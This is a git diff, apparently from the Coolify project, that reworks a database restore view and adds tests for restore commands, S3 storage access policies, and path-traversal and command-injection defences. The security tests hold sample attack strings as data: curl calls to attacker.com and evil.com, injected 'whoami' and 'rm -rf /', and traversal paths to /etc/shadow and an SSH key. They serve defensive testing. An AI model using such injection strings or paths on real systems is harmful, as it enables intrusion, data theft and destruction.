-
- Check File
-
+ {{-- File Restore Section --}}
+ @can('update', $resource)
+
+
Backup File
+
+
+ Or
+
+
+
- @if ($s3FileSize && !$s3DownloadedFile && !$s3DownloadInProgress)
+
+
File Information
+
Location: /
-
File found in S3 ({{ formatBytes($s3FileSize ?? 0) }})
-
-
- Download & Prepare for Restore
+
+
+ Restore Database from File
+
+ This will perform the following actions:
+
+ - Copy backup file to database container
+ - Execute restore command
+
+ WARNING: This will REPLACE all existing data!
+
+
+
+
+ @endcan
+
+ {{-- S3 Restore Section --}}
+ @if ($availableS3Storages->count() > 0)
+ @can('update', $resource)
+
+
Restore from S3
+
+
+
+ @foreach ($availableS3Storages as $storage)
+
+ @endforeach
+
+
+
+
+
+
+ Check File
-
- @endif
- @if ($s3DownloadInProgress)
-
-
Downloading from S3... This may take a few minutes for large
- backups.
-
+ @if ($s3FileSize)
+
+
File Information
+
Location: {{ $s3Path }} {{ formatBytes($s3FileSize ?? 0) }}
+
+
+
+ Restore Database from S3
+
+ This will perform the following actions:
+
+ - Download backup from S3 storage
+ - Copy file into database container
+ - Execute restore command
+
+ WARNING: This will REPLACE all existing data!
+
+
+
+ @endif
- @endif
-
- @if ($s3DownloadedFile && !$s3DownloadInProgress)
-
-
File downloaded successfully and ready for restore.
-
-
- Restore Database from S3
-
-
- Cancel
-
-
-
- @endif
-
+
+ @endcan
@endif
-
File Information
-
-
Location: /
-
Restore Backup
-
- @if ($importRunning)
-
-
-
- @endif
+ {{-- Slide-over for activity monitor (all restore operations) --}}
+
+ Database Restore Output
+
+
+
+
@else
Database must be running to restore a backup.
@endif
diff --git a/tests/Feature/DatabaseS3RestoreTest.php b/tests/Feature/DatabaseS3RestoreTest.php
deleted file mode 100644
index 99c26d22f..000000000
--- a/tests/Feature/DatabaseS3RestoreTest.php
+++ /dev/null
@@ -1,94 +0,0 @@
-user = User::factory()->create();
- $this->team = Team::factory()->create();
- $this->user->teams()->attach($this->team, ['role' => 'owner']);
-
- // Create S3 storage
- $this->s3Storage = S3Storage::create([
- 'uuid' => 'test-s3-uuid-'.uniqid(),
- 'team_id' => $this->team->id,
- 'name' => 'Test S3',
- 'key' => 'test-key',
- 'secret' => 'test-secret',
- 'region' => 'us-east-1',
- 'bucket' => 'test-bucket',
- 'endpoint' => 'https://s3.amazonaws.com',
- 'is_usable' => true,
- ]);
-
- // Authenticate as the user
- $this->actingAs($this->user);
- $this->user->currentTeam()->associate($this->team);
- $this->user->save();
-});
-
-test('S3Storage can be created with team association', function () {
- expect($this->s3Storage->team_id)->toBe($this->team->id);
- expect($this->s3Storage->name)->toBe('Test S3');
- expect($this->s3Storage->is_usable)->toBeTrue();
-});
-
-test('Only usable S3 storages are loaded', function () {
- // Create an unusable S3 storage
- S3Storage::create([
- 'uuid' => 'test-s3-uuid-unusable-'.uniqid(),
- 'team_id' => $this->team->id,
- 'name' => 'Unusable S3',
- 'key' => 'key',
- 'secret' => 'secret',
- 'region' => 'us-east-1',
- 'bucket' => 'bucket',
- 'endpoint' => 'https://s3.amazonaws.com',
- 'is_usable' => false,
- ]);
-
- // Query only usable S3 storages
- $usableS3Storages = S3Storage::where('team_id', $this->team->id)
- ->where('is_usable', true)
- ->get();
-
- expect($usableS3Storages)->toHaveCount(1);
- expect($usableS3Storages->first()->name)->toBe('Test S3');
-});
-
-test('S3 storages are isolated by team', function () {
- // Create another team with its own S3 storage
- $otherTeam = Team::factory()->create();
- S3Storage::create([
- 'uuid' => 'test-s3-uuid-other-'.uniqid(),
- 'team_id' => $otherTeam->id,
- 'name' => 'Other Team S3',
- 'key' => 'key',
- 'secret' => 'secret',
- 'region' => 'us-east-1',
- 'bucket' => 'bucket',
- 'endpoint' => 'https://s3.amazonaws.com',
- 'is_usable' => true,
- ]);
-
- // Current user's team should only see their S3
- $teamS3Storages = S3Storage::where('team_id', $this->team->id)
- ->where('is_usable', true)
- ->get();
-
- expect($teamS3Storages)->toHaveCount(1);
- expect($teamS3Storages->first()->name)->toBe('Test S3');
-});
-
-test('S3Storage model has required fields', function () {
- expect($this->s3Storage)->toHaveProperty('key');
- expect($this->s3Storage)->toHaveProperty('secret');
- expect($this->s3Storage)->toHaveProperty('bucket');
- expect($this->s3Storage)->toHaveProperty('endpoint');
- expect($this->s3Storage)->toHaveProperty('region');
-});
diff --git a/tests/Unit/CoolifyTaskCleanupTest.php b/tests/Unit/CoolifyTaskCleanupTest.php
new file mode 100644
index 000000000..ad77a2e8c
--- /dev/null
+++ b/tests/Unit/CoolifyTaskCleanupTest.php
@@ -0,0 +1,84 @@
+hasMethod('failed'))->toBeTrue();
+
+ // Get the failed method
+ $failedMethod = $reflection->getMethod('failed');
+
+ // Read the method source to verify it dispatches events
+ $filename = $reflection->getFileName();
+ $startLine = $failedMethod->getStartLine();
+ $endLine = $failedMethod->getEndLine();
+
+ $source = file($filename);
+ $methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
+
+ // Verify the implementation contains event dispatch logic
+ expect($methodSource)
+ ->toContain('call_event_on_finish')
+ ->and($methodSource)->toContain('event(new $eventClass')
+ ->and($methodSource)->toContain('call_event_data')
+ ->and($methodSource)->toContain('Log::info');
+});
+
+it('CoolifyTask failed method updates activity status to ERROR', function () {
+ $reflection = new ReflectionClass(CoolifyTask::class);
+ $failedMethod = $reflection->getMethod('failed');
+
+ // Read the method source
+ $filename = $reflection->getFileName();
+ $startLine = $failedMethod->getStartLine();
+ $endLine = $failedMethod->getEndLine();
+
+ $source = file($filename);
+ $methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
+
+ // Verify activity status is set to ERROR
+ expect($methodSource)
+ ->toContain("'status' => ProcessStatus::ERROR->value")
+ ->and($methodSource)->toContain("'error' =>")
+ ->and($methodSource)->toContain("'failed_at' =>");
+});
+
+it('CoolifyTask failed method has proper error handling for event dispatch', function () {
+ $reflection = new ReflectionClass(CoolifyTask::class);
+ $failedMethod = $reflection->getMethod('failed');
+
+ // Read the method source
+ $filename = $reflection->getFileName();
+ $startLine = $failedMethod->getStartLine();
+ $endLine = $failedMethod->getEndLine();
+
+ $source = file($filename);
+ $methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
+
+ // Verify try-catch around event dispatch
+ expect($methodSource)
+ ->toContain('try {')
+ ->and($methodSource)->toContain('} catch (\Throwable $e) {')
+ ->and($methodSource)->toContain("Log::error('Error dispatching cleanup event");
+});
+
+it('CoolifyTask constructor stores call_event_on_finish and call_event_data', function () {
+ $reflection = new ReflectionClass(CoolifyTask::class);
+ $constructor = $reflection->getConstructor();
+
+ // Get constructor parameters
+ $parameters = $constructor->getParameters();
+ $paramNames = array_map(fn ($p) => $p->getName(), $parameters);
+
+ // Verify both parameters exist
+ expect($paramNames)
+ ->toContain('call_event_on_finish')
+ ->and($paramNames)->toContain('call_event_data');
+
+ // Verify they are public properties (constructor property promotion)
+ expect($reflection->hasProperty('call_event_on_finish'))->toBeTrue();
+ expect($reflection->hasProperty('call_event_data'))->toBeTrue();
+});
diff --git a/tests/Unit/FormatBytesTest.php b/tests/Unit/FormatBytesTest.php
new file mode 100644
index 000000000..70c9c3039
--- /dev/null
+++ b/tests/Unit/FormatBytesTest.php
@@ -0,0 +1,42 @@
+toBe('0 B');
+});
+
+it('formats null bytes correctly', function () {
+ expect(formatBytes(null))->toBe('0 B');
+});
+
+it('handles negative bytes safely', function () {
+ expect(formatBytes(-1024))->toBe('0 B');
+ expect(formatBytes(-100))->toBe('0 B');
+});
+
+it('formats bytes correctly', function () {
+ expect(formatBytes(512))->toBe('512 B');
+ expect(formatBytes(1023))->toBe('1023 B');
+});
+
+it('formats kilobytes correctly', function () {
+ expect(formatBytes(1024))->toBe('1 KB');
+ expect(formatBytes(2048))->toBe('2 KB');
+ expect(formatBytes(1536))->toBe('1.5 KB');
+});
+
+it('formats megabytes correctly', function () {
+ expect(formatBytes(1048576))->toBe('1 MB');
+ expect(formatBytes(5242880))->toBe('5 MB');
+});
+
+it('formats gigabytes correctly', function () {
+ expect(formatBytes(1073741824))->toBe('1 GB');
+ expect(formatBytes(2147483648))->toBe('2 GB');
+});
+
+it('respects precision parameter', function () {
+ expect(formatBytes(1536, 0))->toBe('2 KB');
+ expect(formatBytes(1536, 1))->toBe('1.5 KB');
+ expect(formatBytes(1536, 2))->toBe('1.5 KB');
+ expect(formatBytes(1536, 3))->toBe('1.5 KB');
+});
diff --git a/tests/Unit/Livewire/Database/S3RestoreTest.php b/tests/Unit/Livewire/Database/S3RestoreTest.php
new file mode 100644
index 000000000..18837b466
--- /dev/null
+++ b/tests/Unit/Livewire/Database/S3RestoreTest.php
@@ -0,0 +1,79 @@
+dumpAll = false;
+ $component->postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d $POSTGRES_DB';
+
+ $database = Mockery::mock('App\Models\StandalonePostgresql');
+ $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
+ $component->resource = $database;
+
+ $result = $component->buildRestoreCommand('/tmp/test.dump');
+
+ expect($result)->toContain('pg_restore');
+ expect($result)->toContain('/tmp/test.dump');
+});
+
+test('buildRestoreCommand handles PostgreSQL with dumpAll', function () {
+ $component = new Import;
+ $component->dumpAll = true;
+ // This is the full dump-all command prefix that would be set in the updatedDumpAll method
+ $component->postgresqlRestoreCommand = 'psql -U $POSTGRES_USER -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" && psql -U $POSTGRES_USER -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U $POSTGRES_USER --if-exists {} && createdb -U $POSTGRES_USER postgres';
+
+ $database = Mockery::mock('App\Models\StandalonePostgresql');
+ $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
+ $component->resource = $database;
+
+ $result = $component->buildRestoreCommand('/tmp/test.dump');
+
+ expect($result)->toContain('gunzip -cf /tmp/test.dump');
+ expect($result)->toContain('psql -U $POSTGRES_USER postgres');
+});
+
+test('buildRestoreCommand handles MySQL without dumpAll', function () {
+ $component = new Import;
+ $component->dumpAll = false;
+ $component->mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE';
+
+ $database = Mockery::mock('App\Models\StandaloneMysql');
+ $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMysql');
+ $component->resource = $database;
+
+ $result = $component->buildRestoreCommand('/tmp/test.dump');
+
+ expect($result)->toContain('mysql -u $MYSQL_USER');
+ expect($result)->toContain('< /tmp/test.dump');
+});
+
+test('buildRestoreCommand handles MariaDB without dumpAll', function () {
+ $component = new Import;
+ $component->dumpAll = false;
+ $component->mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE';
+
+ $database = Mockery::mock('App\Models\StandaloneMariadb');
+ $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMariadb');
+ $component->resource = $database;
+
+ $result = $component->buildRestoreCommand('/tmp/test.dump');
+
+ expect($result)->toContain('mariadb -u $MARIADB_USER');
+ expect($result)->toContain('< /tmp/test.dump');
+});
+
+test('buildRestoreCommand handles MongoDB', function () {
+ $component = new Import;
+ $component->dumpAll = false;
+ $component->mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive=';
+
+ $database = Mockery::mock('App\Models\StandaloneMongodb');
+ $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMongodb');
+ $component->resource = $database;
+
+ $result = $component->buildRestoreCommand('/tmp/test.dump');
+
+ expect($result)->toContain('mongorestore');
+ expect($result)->toContain('/tmp/test.dump');
+});
diff --git a/tests/Unit/PathTraversalSecurityTest.php b/tests/Unit/PathTraversalSecurityTest.php
new file mode 100644
index 000000000..60adb44ac
--- /dev/null
+++ b/tests/Unit/PathTraversalSecurityTest.php
@@ -0,0 +1,184 @@
+toBeFalse();
+ expect(isSafeTmpPath(''))->toBeFalse();
+ expect(isSafeTmpPath(' '))->toBeFalse();
+ });
+
+ it('rejects paths shorter than minimum length', function () {
+ expect(isSafeTmpPath('/tmp'))->toBeFalse();
+ expect(isSafeTmpPath('/tmp/'))->toBeFalse();
+ expect(isSafeTmpPath('/tmp/a'))->toBeTrue(); // 6 chars exactly, should pass
+ });
+
+ it('accepts valid /tmp/ paths', function () {
+ expect(isSafeTmpPath('/tmp/file.txt'))->toBeTrue();
+ expect(isSafeTmpPath('/tmp/backup.sql'))->toBeTrue();
+ expect(isSafeTmpPath('/tmp/subdir/file.txt'))->toBeTrue();
+ expect(isSafeTmpPath('/tmp/very/deep/nested/path/file.sql'))->toBeTrue();
+ });
+
+ it('rejects obvious path traversal attempts with ..', function () {
+ expect(isSafeTmpPath('/tmp/../etc/passwd'))->toBeFalse();
+ expect(isSafeTmpPath('/tmp/foo/../etc/passwd'))->toBeFalse();
+ expect(isSafeTmpPath('/tmp/foo/bar/../../etc/passwd'))->toBeFalse();
+ expect(isSafeTmpPath('/tmp/foo/../../../etc/passwd'))->toBeFalse();
+ });
+
+ it('rejects paths that do not start with /tmp/', function () {
+ expect(isSafeTmpPath('/etc/passwd'))->toBeFalse();
+ expect(isSafeTmpPath('/home/user/file.txt'))->toBeFalse();
+ expect(isSafeTmpPath('/var/log/app.log'))->toBeFalse();
+ expect(isSafeTmpPath('tmp/file.txt'))->toBeFalse(); // Missing leading /
+ expect(isSafeTmpPath('./tmp/file.txt'))->toBeFalse();
+ });
+
+ it('handles double slashes by normalizing them', function () {
+ // Double slashes are normalized out, so these should pass
+ expect(isSafeTmpPath('/tmp//file.txt'))->toBeTrue();
+ expect(isSafeTmpPath('/tmp/foo//bar.txt'))->toBeTrue();
+ });
+
+ it('handles relative directory references by normalizing them', function () {
+ // ./ references are normalized out, so these should pass
+ expect(isSafeTmpPath('/tmp/./file.txt'))->toBeTrue();
+ expect(isSafeTmpPath('/tmp/foo/./bar.txt'))->toBeTrue();
+ });
+
+ it('handles trailing slashes correctly', function () {
+ expect(isSafeTmpPath('/tmp/file.txt/'))->toBeTrue();
+ expect(isSafeTmpPath('/tmp/subdir/'))->toBeTrue();
+ });
+
+ it('rejects sophisticated path traversal attempts', function () {
+ // URL encoded .. will be decoded and then rejected
+ expect(isSafeTmpPath('/tmp/%2e%2e/etc/passwd'))->toBeFalse();
+
+ // Mixed case /TMP doesn't start with /tmp/
+ expect(isSafeTmpPath('/TMP/file.txt'))->toBeFalse();
+ expect(isSafeTmpPath('/TMP/../etc/passwd'))->toBeFalse();
+
+ // URL encoded slashes with .. (should decode to /tmp/../../etc/passwd)
+ expect(isSafeTmpPath('/tmp/..%2f..%2fetc/passwd'))->toBeFalse();
+
+ // Null byte injection attempt (if string contains it)
+ expect(isSafeTmpPath("/tmp/file.txt\0../../etc/passwd"))->toBeFalse();
+ });
+
+ it('validates paths even when directories do not exist', function () {
+ // These paths don't exist but should be validated structurally
+ expect(isSafeTmpPath('/tmp/nonexistent/file.txt'))->toBeTrue();
+ expect(isSafeTmpPath('/tmp/totally/fake/deeply/nested/path.sql'))->toBeTrue();
+
+ // But traversal should still be blocked even if dir doesn't exist
+ expect(isSafeTmpPath('/tmp/nonexistent/../etc/passwd'))->toBeFalse();
+ });
+
+ it('handles real path resolution when directory exists', function () {
+ // Create a real temp directory to test realpath() logic
+ $testDir = '/tmp/phpunit-test-'.uniqid();
+ mkdir($testDir, 0755, true);
+
+ try {
+ expect(isSafeTmpPath($testDir.'/file.txt'))->toBeTrue();
+ expect(isSafeTmpPath($testDir.'/subdir/file.txt'))->toBeTrue();
+ } finally {
+ rmdir($testDir);
+ }
+ });
+
+ it('prevents symlink-based traversal attacks', function () {
+ // Create a temp directory and symlink
+ $testDir = '/tmp/phpunit-symlink-test-'.uniqid();
+ mkdir($testDir, 0755, true);
+
+ // Try to create a symlink to /etc (may not work in all environments)
+ $symlinkPath = $testDir.'/evil-link';
+
+ try {
+ // Attempt to create symlink (skip test if not possible)
+ if (@symlink('/etc', $symlinkPath)) {
+ // If we successfully created a symlink to /etc,
+ // isSafeTmpPath should resolve it and reject paths through it
+ $testPath = $symlinkPath.'/passwd';
+
+ // The resolved path would be /etc/passwd, not /tmp/...
+ // So it should be rejected
+ $result = isSafeTmpPath($testPath);
+
+ // Clean up before assertion
+ unlink($symlinkPath);
+ rmdir($testDir);
+
+ expect($result)->toBeFalse();
+ } else {
+ // Can't create symlink, skip this specific test
+ $this->markTestSkipped('Cannot create symlinks in this environment');
+ }
+ } catch (Exception $e) {
+ // Clean up on any error
+ if (file_exists($symlinkPath)) {
+ unlink($symlinkPath);
+ }
+ if (file_exists($testDir)) {
+ rmdir($testDir);
+ }
+ throw $e;
+ }
+ });
+
+ it('has consistent behavior with or without trailing slash', function () {
+ expect(isSafeTmpPath('/tmp/file.txt'))->toBe(isSafeTmpPath('/tmp/file.txt/'));
+ expect(isSafeTmpPath('/tmp/subdir/file.sql'))->toBe(isSafeTmpPath('/tmp/subdir/file.sql/'));
+ });
+});
+
+/**
+ * Integration test for S3RestoreJobFinished event using the secure path validation.
+ */
+describe('S3RestoreJobFinished path validation', function () {
+ it('validates that safe paths pass validation', function () {
+ // Test with valid paths - should pass validation
+ $validData = [
+ 'serverTmpPath' => '/tmp/valid-backup.sql',
+ 'scriptPath' => '/tmp/valid-script.sh',
+ 'containerTmpPath' => '/tmp/container-file.sql',
+ ];
+
+ expect(isSafeTmpPath($validData['serverTmpPath']))->toBeTrue();
+ expect(isSafeTmpPath($validData['scriptPath']))->toBeTrue();
+ expect(isSafeTmpPath($validData['containerTmpPath']))->toBeTrue();
+ });
+
+ it('validates that malicious paths fail validation', function () {
+ // Test with malicious paths - should fail validation
+ $maliciousData = [
+ 'serverTmpPath' => '/tmp/../etc/passwd',
+ 'scriptPath' => '/tmp/../../etc/shadow',
+ 'containerTmpPath' => '/etc/important-config',
+ ];
+
+ // Verify that our helper would reject these paths
+ expect(isSafeTmpPath($maliciousData['serverTmpPath']))->toBeFalse();
+ expect(isSafeTmpPath($maliciousData['scriptPath']))->toBeFalse();
+ expect(isSafeTmpPath($maliciousData['containerTmpPath']))->toBeFalse();
+ });
+
+ it('validates realistic S3 restore paths', function () {
+ // These are the kinds of paths that would actually be used
+ $realisticPaths = [
+ '/tmp/coolify-s3-restore-'.uniqid().'.sql',
+ '/tmp/db-backup-'.date('Y-m-d').'.dump',
+ '/tmp/restore-script-'.uniqid().'.sh',
+ ];
+
+ foreach ($realisticPaths as $path) {
+ expect(isSafeTmpPath($path))->toBeTrue();
+ }
+ });
+});
diff --git a/tests/Unit/Policies/S3StoragePolicyTest.php b/tests/Unit/Policies/S3StoragePolicyTest.php
new file mode 100644
index 000000000..4ea580d0f
--- /dev/null
+++ b/tests/Unit/Policies/S3StoragePolicyTest.php
@@ -0,0 +1,149 @@
+ 1, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $storage = Mockery::mock(S3Storage::class)->makePartial();
+ $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
+ $storage->team_id = 1;
+
+ $policy = new S3StoragePolicy;
+ expect($policy->view($user, $storage))->toBeTrue();
+});
+
+it('denies team member to view S3 storage from another team', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $storage = Mockery::mock(S3Storage::class)->makePartial();
+ $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
+ $storage->team_id = 2;
+
+ $policy = new S3StoragePolicy;
+ expect($policy->view($user, $storage))->toBeFalse();
+});
+
+it('allows team admin to update S3 storage from their team', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $storage = Mockery::mock(S3Storage::class)->makePartial();
+ $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
+ $storage->team_id = 1;
+
+ $policy = new S3StoragePolicy;
+ expect($policy->update($user, $storage))->toBeTrue();
+});
+
+it('denies team member to update S3 storage from another team', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $storage = Mockery::mock(S3Storage::class)->makePartial();
+ $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
+ $storage->team_id = 2;
+
+ $policy = new S3StoragePolicy;
+ expect($policy->update($user, $storage))->toBeFalse();
+});
+
+it('allows team member to delete S3 storage from their team', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $storage = Mockery::mock(S3Storage::class)->makePartial();
+ $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
+ $storage->team_id = 1;
+
+ $policy = new S3StoragePolicy;
+ expect($policy->delete($user, $storage))->toBeTrue();
+});
+
+it('denies team member to delete S3 storage from another team', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $storage = Mockery::mock(S3Storage::class)->makePartial();
+ $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
+ $storage->team_id = 2;
+
+ $policy = new S3StoragePolicy;
+ expect($policy->delete($user, $storage))->toBeFalse();
+});
+
+it('allows admin to create S3 storage', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdmin')->andReturn(true);
+
+ $policy = new S3StoragePolicy;
+ expect($policy->create($user))->toBeTrue();
+});
+
+it('denies non-admin to create S3 storage', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdmin')->andReturn(false);
+
+ $policy = new S3StoragePolicy;
+ expect($policy->create($user))->toBeFalse();
+});
+
+it('allows team member to validate connection of S3 storage from their team', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $storage = Mockery::mock(S3Storage::class)->makePartial();
+ $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
+ $storage->team_id = 1;
+
+ $policy = new S3StoragePolicy;
+ expect($policy->validateConnection($user, $storage))->toBeTrue();
+});
+
+it('denies team member to validate connection of S3 storage from another team', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $storage = Mockery::mock(S3Storage::class)->makePartial();
+ $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
+ $storage->team_id = 2;
+
+ $policy = new S3StoragePolicy;
+ expect($policy->validateConnection($user, $storage))->toBeFalse();
+});
diff --git a/tests/Unit/RestoreJobFinishedSecurityTest.php b/tests/Unit/RestoreJobFinishedSecurityTest.php
new file mode 100644
index 000000000..0f3dca08c
--- /dev/null
+++ b/tests/Unit/RestoreJobFinishedSecurityTest.php
@@ -0,0 +1,61 @@
+toBeTrue();
+ }
+ });
+
+ it('validates that malicious paths fail validation', function () {
+ $maliciousPaths = [
+ '/tmp/../etc/passwd',
+ '/tmp/foo/../../etc/shadow',
+ '/etc/sensitive-file',
+ '/var/www/config.php',
+ '/tmp/../../../root/.ssh/id_rsa',
+ ];
+
+ foreach ($maliciousPaths as $path) {
+ expect(isSafeTmpPath($path))->toBeFalse();
+ }
+ });
+
+ it('rejects URL-encoded path traversal attempts', function () {
+ $encodedTraversalPaths = [
+ '/tmp/%2e%2e/etc/passwd',
+ '/tmp/foo%2f%2e%2e%2f%2e%2e/etc/shadow',
+ urlencode('/tmp/../etc/passwd'),
+ ];
+
+ foreach ($encodedTraversalPaths as $path) {
+ expect(isSafeTmpPath($path))->toBeFalse();
+ }
+ });
+
+ it('handles edge cases correctly', function () {
+ // Too short
+ expect(isSafeTmpPath('/tmp'))->toBeFalse();
+ expect(isSafeTmpPath('/tmp/'))->toBeFalse();
+
+ // Null/empty
+ expect(isSafeTmpPath(null))->toBeFalse();
+ expect(isSafeTmpPath(''))->toBeFalse();
+
+ // Null byte injection
+ expect(isSafeTmpPath("/tmp/file.sql\0../../etc/passwd"))->toBeFalse();
+
+ // Valid edge cases
+ expect(isSafeTmpPath('/tmp/x'))->toBeTrue();
+ expect(isSafeTmpPath('/tmp/very/deeply/nested/path/to/file.sql'))->toBeTrue();
+ });
+});
diff --git a/tests/Unit/S3RestoreSecurityTest.php b/tests/Unit/S3RestoreSecurityTest.php
new file mode 100644
index 000000000..c224ec48c
--- /dev/null
+++ b/tests/Unit/S3RestoreSecurityTest.php
@@ -0,0 +1,98 @@
+toBe("'secret\";curl https://attacker.com/ -X POST --data `whoami`;echo \"pwned'");
+
+ // When used in a command, the shell metacharacters should be treated as literal strings
+ $command = "echo {$escapedSecret}";
+ // The dangerous part (";curl) is now safely inside single quotes
+ expect($command)->toContain("'secret"); // Properly quoted
+ expect($escapedSecret)->toStartWith("'"); // Starts with quote
+ expect($escapedSecret)->toEndWith("'"); // Ends with quote
+
+ // Test case 2: Endpoint with command injection
+ $maliciousEndpoint = 'https://s3.example.com";whoami;"';
+ $escapedEndpoint = escapeshellarg($maliciousEndpoint);
+
+ expect($escapedEndpoint)->toBe("'https://s3.example.com\";whoami;\"'");
+
+ // Test case 3: Key with destructive command
+ $maliciousKey = 'access-key";rm -rf /;echo "';
+ $escapedKey = escapeshellarg($maliciousKey);
+
+ expect($escapedKey)->toBe("'access-key\";rm -rf /;echo \"'");
+
+ // Test case 4: Normal credentials should work fine
+ $normalSecret = 'MySecretKey123';
+ $normalEndpoint = 'https://s3.amazonaws.com';
+ $normalKey = 'AKIAIOSFODNN7EXAMPLE';
+
+ expect(escapeshellarg($normalSecret))->toBe("'MySecretKey123'");
+ expect(escapeshellarg($normalEndpoint))->toBe("'https://s3.amazonaws.com'");
+ expect(escapeshellarg($normalKey))->toBe("'AKIAIOSFODNN7EXAMPLE'");
+});
+
+it('verifies command injection is prevented in mc alias set command format', function () {
+ // Simulate the exact scenario from Import.php:407-410
+ $containerName = 's3-restore-test-uuid';
+ $endpoint = 'https://s3.example.com";curl http://evil.com;echo "';
+ $key = 'AKIATEST";whoami;"';
+ $secret = 'SecretKey";rm -rf /tmp;echo "';
+
+ // Before fix (vulnerable):
+ // $vulnerableCommand = "docker exec {$containerName} mc alias set s3temp {$endpoint} {$key} \"{$secret}\"";
+ // This would allow command injection because $endpoint and $key are not quoted,
+ // and $secret's double quotes can be escaped
+
+ // After fix (secure):
+ $escapedEndpoint = escapeshellarg($endpoint);
+ $escapedKey = escapeshellarg($key);
+ $escapedSecret = escapeshellarg($secret);
+ $secureCommand = "docker exec {$containerName} mc alias set s3temp {$escapedEndpoint} {$escapedKey} {$escapedSecret}";
+
+ // Verify the secure command has properly escaped values
+ expect($secureCommand)->toContain("'https://s3.example.com\";curl http://evil.com;echo \"'");
+ expect($secureCommand)->toContain("'AKIATEST\";whoami;\"'");
+ expect($secureCommand)->toContain("'SecretKey\";rm -rf /tmp;echo \"'");
+
+ // Verify that the command injection attempts are neutered (they're literal strings now)
+ // The values are wrapped in single quotes, so shell metacharacters are treated as literals
+ // Check that all three parameters are properly quoted
+ expect($secureCommand)->toMatch("/mc alias set s3temp '[^']+' '[^']+' '[^']+'/"); // All params in quotes
+
+ // Verify the dangerous parts are inside quotes (between the quote marks)
+ // The pattern "'...\";curl...'" means the semicolon is INSIDE the quoted value
+ expect($secureCommand)->toContain("'https://s3.example.com\";curl http://evil.com;echo \"'");
+
+ // Ensure we're NOT using the old vulnerable pattern with unquoted values
+ $vulnerablePattern = 'mc alias set s3temp https://'; // Unquoted endpoint would match this
+ expect($secureCommand)->not->toContain($vulnerablePattern);
+});
+
+it('handles S3 secrets with single quotes correctly', function () {
+ // Test edge case: secret containing single quotes
+ // escapeshellarg handles this by closing the quote, adding an escaped quote, and reopening
+ $secretWithQuote = "my'secret'key";
+ $escaped = escapeshellarg($secretWithQuote);
+
+ // The expected output format is: 'my'\''secret'\''key'
+ // This is how escapeshellarg handles single quotes in the input
+ expect($escaped)->toBe("'my'\\''secret'\\''key'");
+
+ // Verify it would work in a command context
+ $containerName = 's3-restore-test';
+ $endpoint = escapeshellarg('https://s3.amazonaws.com');
+ $key = escapeshellarg('AKIATEST');
+ $command = "docker exec {$containerName} mc alias set s3temp {$endpoint} {$key} {$escaped}";
+
+ // The command should contain the properly escaped secret
+ expect($command)->toContain("'my'\\''secret'\\''key'");
+});
diff --git a/tests/Unit/S3StorageTest.php b/tests/Unit/S3StorageTest.php
new file mode 100644
index 000000000..6709f381d
--- /dev/null
+++ b/tests/Unit/S3StorageTest.php
@@ -0,0 +1,53 @@
+getCasts();
+
+ expect($casts['is_usable'])->toBe('boolean');
+ expect($casts['key'])->toBe('encrypted');
+ expect($casts['secret'])->toBe('encrypted');
+});
+
